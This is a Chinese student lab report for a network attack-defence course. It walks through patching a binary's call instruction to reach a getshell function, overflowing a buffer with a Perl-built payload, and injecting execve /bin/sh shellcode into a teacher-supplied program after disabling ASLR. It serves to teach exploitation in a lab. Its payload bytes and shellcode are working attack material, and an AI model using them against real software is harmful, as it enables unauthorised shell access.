2018-2019-2 网络对抗技术 20165318 Exp1 PC平台逆向破解

实验模块

（一）直接修改程序机器指令，改变程序执行流程；

（二）通过构造输入参数，造成BOF攻击，改变程序执行流；

（三）注入Shellcode并执行；

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实验准备

1. 设置共享文件夹（这一步我已经在之前安装kali的时候做好了）

2. 将老师提供的pwn1文件通过共享文件夹传到kali上以便以后使用。

3. 将pwn1文件复制到主目录下，并进行备份

4. 输入apt-get install lib32z1指令，使64位kali可以运行32位程序

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知识点描述

1. 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

1. 掌握反汇编与十六进制编程器

1. 能正确修改机器指令改变程序执行流程

1. 能正确构造payload进行bof攻击

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任务一 直接修改程序机器指令，改变程序执行流程

通过修改main函数中的call指令跳转的地址，使其本来该跳转到foo函数时，跳转到getshell函数，从而运行getshell函数。

注：call指令的机器码为e8，其跳转的位置为寄存器eip的值+call指令后的立即数

1.输入指令objdump -d pwn1 | more反汇编pwn1文件。

通过反汇编，可以看到main函数中的call 804891<foo>,其机器码为e8 d7 ff ff ff。

其中foo函数的地址为08048491，getshell函数的地址为0804847d，通过计算其对应关系(小端机器)

0x08048491 - 0x0804847d = 0x00000014  //计算地址差

0xffffffd7 - 0x00000014 = 0xffffffc3  //计算要修改的目标地址

2.输入指令vi pwn1打开文件

打开之后我们会看到文件以ASCII码的形式出现

3.输入:%!xxd通过调用命令行，将文件转换为16进制查看

4.使用/d7命令寻找e8d7ffffff机器指令所在位置

5.找到后，输入i进入插入模式，将d7修改为c3

6.输入:%!xxd -r将文件转换为ASCII码形式（一定要转换，否则会出问题），输入:wq保存并退出

7.此时输入指令objdump -d pwn1 | more查看，可以发现pwn1文件已经被修改了

8.运行pwn1文件和pwn1.0文件（pwn1文件是被修改过的，pwn1.0文件是原始的未被修改过的），可以发现两个文件的运行结果是截然不同的。

实验成功！！！

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任务二 通过构造输入参数，造成BOF攻击，改变程序执行流

pwn2 正常运行是调用函数foo，但是这个函数有Bufferoverflow漏洞。读入字符串时，系统只预留了一定字节的缓冲区，超出部分会造成溢出，我们的目标是覆盖返回地址。尝试发现，当输入为以下字符时已经发生段错误,产生溢出。

1.输入指令objdump -d pwn2 | more查看，计算要达到缓冲区溢出说需要输入的字符数

由上图可以推测，需要输入的字节大约在32字节，下面对其进行验证

2.打开一个终端进入gdb，输入字符串1111111122222222333333334444444412345555，观察一下各寄存器的值

从上图可以看到eip寄存器中的值为0x34333231,对应字符串中的1234。

由此可见，如果输入字符串1111111122222222333333334444444412345555，那 1234 那四个数最终会覆盖到堆栈上的返回地址，进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getshell 的内存地址，输给pwn2，pwn2就会运行getshell。

getshell函数的地址为:0x0804847d，由于输入字符串时是以ASCII码输入，因此要转换为\x7d\x84\x04\x08，并需要使用Perl语言构造文件（Perl是一门解释型语言，不需要预编译，可以在命令行上直接使用）。

3.输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > BOF.1

4.输入xxd BOF.1查看内容

5.通过管道符|，作为pwn1的输入,格式为(cat BOF.1; cat ) | ./pwn2。

攻击成功！！！

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任务三 注入Shellcode并运行攻击

• shellcode就是一段机器指令（code）,通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe），所以这段机器指令被称为shellcode。

• 在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令。

1.输入指令apt-get install execstack安装execstack

并设置堆栈可执行：

execstack -s pwn3    //设置堆栈可执行

execstack -q pwn3    //查询文件的堆栈是否可执行

2.关闭地址随机化（如果不关闭的话，每次操作esp的地址都会发生变化）

more /proc/sys/kernel/randomize_va_space                 //查看随机化是否关闭

echo "0" > /proc/sys/kernel/randomize_va_space        //关闭随机化

(“2”为开启，“0”为关闭)

3.我们需要注入一段代码，我们首先构造一个input_shellcode（参考老师给的代码）：

perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

4.在一个窗口运行(cat input_shellcode;cat) | ./pwn3

5.在另外一个窗口ps -ef | grep pwn能看见当前运行pwn3的进程号为2396；

6.在gdb里面attach 2396进行调试

7.disassemble foo反编译

8.可以看到ret指令的地址为0x080484ae，在此处设置断点break *0x080484ae

9.在另一个终端按下回车，这样程序就会执行之后在断点处停下来

10.再在gdb调试的终端输入 c 继续运行程序

11.info r esp查看esp寄存器地址

12.x/16x 0xffffd34c以16进制形式查看0xffffd34c地址后面16字节的内容

从上图中看到 01020304所在的地址为0xffffd34c,那么注入的shellcode代码的地址应该在该ret指令地址后四个字节的位置，即0xffffd34c + 0x00000004 = 0xffffd350。随后退出gdb调试。

13.修改注入代码的覆盖地址

perl -e 'print "A" x 32;print"\x50\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

14.输入命令(cat input_shellcode;cat) | ./pwn3

攻击成功！！！

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遇到的问题及解决方法

• 问题：在64位kali上运行pwn1时，出现以下问题。
  
  

• 解决方法：参考64位Kali无法顺利执行pwn1问题的解决方案，输入apt-get install lib32z1指令，使64位kali可以运行32位程序。

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实验收获与感想

• 我的收获

• 什么是漏洞？漏洞有什么危害？

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参考资料

• 汇编指令和机器码的对应表

• Linux下C程序的反汇编

• linux下输入输出重定向和管道符

• 64位Kali无法顺利执行pwn1问题的解决方案